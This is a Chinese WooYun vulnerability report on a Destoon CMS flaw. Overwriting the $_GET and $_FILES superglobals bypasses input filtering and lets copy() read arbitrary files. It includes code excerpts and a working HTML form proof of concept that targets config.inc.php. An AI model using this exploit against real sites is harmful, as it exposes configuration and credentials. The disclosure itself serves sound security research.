Destoon 超全局变量覆盖导致的安全问题
- 发布时间:2014-06-07
- 公开时间:2014-09-05
- 漏洞类型:设计缺陷
- 危害等级:高
- 漏洞编号:WooYun-2014-63895
- 测试版本:20140530
简要描述
短时间没找到合适的注入 找了个任意文件读取发上来了详细说明
代码片段0x1 /common.inc.php行17foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } }
}
这里的逻辑是 如果 POST GET COOKIE 请求中的 $$key 和 $value 相等 就unset掉 $$key
如果我们向1.php?x=1提交一个POST请求 内容为 _GET[x]=1
因为?x=1 所以 $_GET 内容为 array('x'=>'1')
当开始遍历$_POST的时候 $__k是_GET[x] 所以$$_k 就是$_GET[x]也就是array('x'=>'1')
$__v是POST上来的一个数组 内容也是array('x'=>'1')
$$__k == $__v成立所以 我们的超全局变量 $_GET就这么华丽丽的被unset了
代码片段0x2 /common.inc.php行65
if($_POST) { $_POST = strip_sql($_POST); strip_key($_POST); }
if($_GET) { $_GET = strip_sql($_GET); strip_key($_GET); }
if($_COOKIE) { $_COOKIE = strip_sql($_COOKIE); strip_key($_COOKIE); }
if(!IN_ADMIN) {
$BANIP = cache_read('banip.php');
if($BANIP) banip($BANIP);
$destoon_task = '';
}
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
由于我们的 $_GET 已经在前面被unset了
所以即使加了 EXTR_SKIP
extract($_POST)仍然能够正常的初始化 $_GET
extract($_GET)的值就成功绕过了全局的 strip_sql 和 strip_key 函数的检查。
短时间没有找到合适的注入点,却发现了另外一个问题
其实不光光是$_GET,$_FILES也是可以覆盖的。
$_FILES的覆盖比$_GET要稍微复杂一些,因为$_FILES初始值是array()且只在有文件上传的时候才会重新初始化
因为上面判断是$$__k == $__v而能跟array() ==的只有null、false和array()很明显这些我们都无法用get post或者cookie提交上去
如果我们真的上传了一个文件 那$_FILES[file][tmp_name]又是一个未知量 所以 这里我把上传的包改了 删掉了filename
这样上传就会出错,$_FILES 就会被初始化成
array(
'name'=>'',
'type'=>'',
'size'=>0,
'tmp_name'=>'',
'error'=>4
)
这个数组我们就可以伪造了,伪造一个相同的数组之后,$_FILES就被unset了 我们就能用$_POST 或者$_GET来重新初始化它
来看下利用的地方:
代码片段0x3 /upload.php行66
$do = new upload($_FILES, $uploaddir);
省略部分…………
if($do->save()) {
可以看到$_FILES直接丢给了upload类 然后直接save了
代码片段0x4 /include/upload.class.php行43
function save() {
//前面的都不关心
if(!move_uploaded_file($this->file, DT_ROOT.'/'.$this->saveto) && !copy($this->file, DT_ROOT.'/'.$this->saveto))
//后面的也不关心
}
这里除了用到 move_uploaded_file 外 还尝试了 copy
我们知道 move_uploaded_file 是会检查第一个参数的 如果不是合法的上传文件就会返回false
而 copy 就简单粗暴的多了 不管你是哪的 直接给你拷贝过去
$this->file 其实就是 $_FILES[file][tmp_name] 而这个值现在是可以自己构造的了,所以这里就可以读取任意文件了
POC如下:
<form enctype="multipart/form-data" action="http://**.**.**.**/v5.0/upload.php?from=file&_FILES[file][name]=&_FILES[file][type]=&_FILES[file][size]=0&_FILES[file][tmp_name]=&_FILES[file][error]=4" method="POST">
<input type="hidden" name="_FILES[file][name]" value = "1.rar">
<input type="hidden" name="_FILES[file][type]" value = "rar">
<input type="hidden" name="_FILES[file][size]" value = "0">
<input type="hidden" name="_FILES[file][tmp_name]" value = "config.inc.php">
<input type="hidden" name="_FILES[file][error]" value = "4">
<input name="file" type="file" />
<input type="submit" value="POST" />
</form>
这里用$_GET配合上传unset了 $_FILES 然后在extract($_POST)的时候重新初始化了 $_FILES
随便选个文件提交拦下数据包 修改
Content-Disposition: form-data; name="file"; filename=""
中的filename字段为空 如图就返回了我们要读取的文件了
漏洞证明
修复方案
第一个foreach一直没明白是干嘛的。。。关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 习近平引领构建网络空间命运共同体 7948693
- 2 王楚钦谈与张本智和争冠 7984429
- 3 俄飞行员驾驶苏-57经停太原买买买 7806457
- 4 聆听大国外交的铿锵足音 7752765
- 5 两位抗癌网红先后去世 近期曾通话 7678784
- 6 故意冲撞石山舰 17人被抓 7529740
- 7 小伙被两年前经常投喂的流浪狗认出 7498938
- 8 前员工曝光火锅店用僵尸肉 7305962
- 9 男子打赏女主播400万自己啃馒头 7210984
- 10 9条具体措施稳外贸 7194253